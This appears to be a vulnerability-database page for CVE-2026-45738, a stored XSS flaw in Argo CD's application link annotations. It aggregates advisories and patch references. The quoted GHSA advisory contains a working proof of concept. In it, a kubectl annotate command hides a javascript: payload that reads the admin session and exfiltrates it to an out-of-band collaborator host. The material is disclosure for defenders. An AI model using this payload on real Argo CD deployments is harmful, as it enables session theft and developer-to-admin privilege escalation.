CVE-2026-45738
highPriorität · verfolgen · 35EPSS 0.006 · 49. PerzentilDEEUUSEPSS · bewertet 2026-10-27
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (22)
Betroffene Produkte und Versionsbereiche.
Advisories (4)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-1566Argo CD: Mehrere SchwachstellenDeutsch2026-05-17csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Argo CD ausnutzen, um Informationen offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen, wodurch potenziell Administratorrechte erlangt werden können.
- GHSA-h98r-wv3h-fr38Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation2026-05-19ghsa · osvUS
### Summary A user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's **URLs section** as `<a href>` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin. ### Details **Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277` ```tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'> {parts[0]} </a> ``` The annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target='_blank'` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed `fetch()` calls). **Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink. **CSP:** ArgoCD's default Content Security Policy is `frame-ancestors 'self'` only — no `script-src`, no `connect-src`, no `default-src` — providing **zero XSS execution mitigation**. ### PoC **Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`). **Step 1 — Set malicious annotation as developer:** ```bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))' ``` The URL section in the admin's Summary tab renders the link as **"GitHub Repo"** — the `javascript:` payload is invisible in the displayed text. **Step 2 — Admin opens Summary tab** of the annotated application and clicks the link. **Step 3 — JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator: ```javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"})) ``` **Step 4 — Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response: ```json {"iss":"argocd","loggedIn":true,"username":"admin"} ``` **Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3. ### Impact - **Stored XSS** — payload persists in the Kubernetes Application resource until manually removed - **Privilege escalation** — developer role → admin session hijacking via authenticated API calls - **Maximum stealth** — the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim - **No server-side interaction required** — purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP) - Any admin or operator who views the Summary tab of the compromised application is affected ### Credits Discovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) — [turingpoint.de](https://turingpoint.de)
- BIT-argo-cd-2026-45738Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation2026-07-21vendor · osvUS
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.
- GO-2026-5418Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd2026-06-25vendor · osvUS
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd
auch bekannt als (6)
Weitere Namen und Kennungen dieser Entität.
- CNNVD-2026-37091207cnnvd
- EUVD-2026-44789enisa_euvd
- GHSA-h98r-wv3h-fr38enisa_euvd
- BIT-argo-cd-2026-45738osv
- GHSA-h98r-wv3h-fr38osv
- GO-2026-5418osv
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (21)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/argoproj/argo-cd/commit/00f83c41dcfd879f34f8e0248c860d704b41cf0fcnnvd
- https://github.com/argoproj/argo-cd/commit/35ea43c537d6e8948e67f347317fc4f88b325122cnnvd
- https://github.com/argoproj/argo-cd/commit/c8df5ff7acc403adcee1256da5d87081cd52f0a6cnnvd
- https://github.com/argoproj/argo-cd/releases/tag/v3.2.12cnnvd
- https://github.com/argoproj/argo-cd/releases/tag/v3.3.10cnnvd
- https://github.com/argoproj/argo-cd/releases/tag/v3.4.2cnnvd
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38cnnvd
- https://github.com/argoproj/argo-cd/commit/00f83c41dcfd879f34f8e0248c860d704b41cf0fenisa_euvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan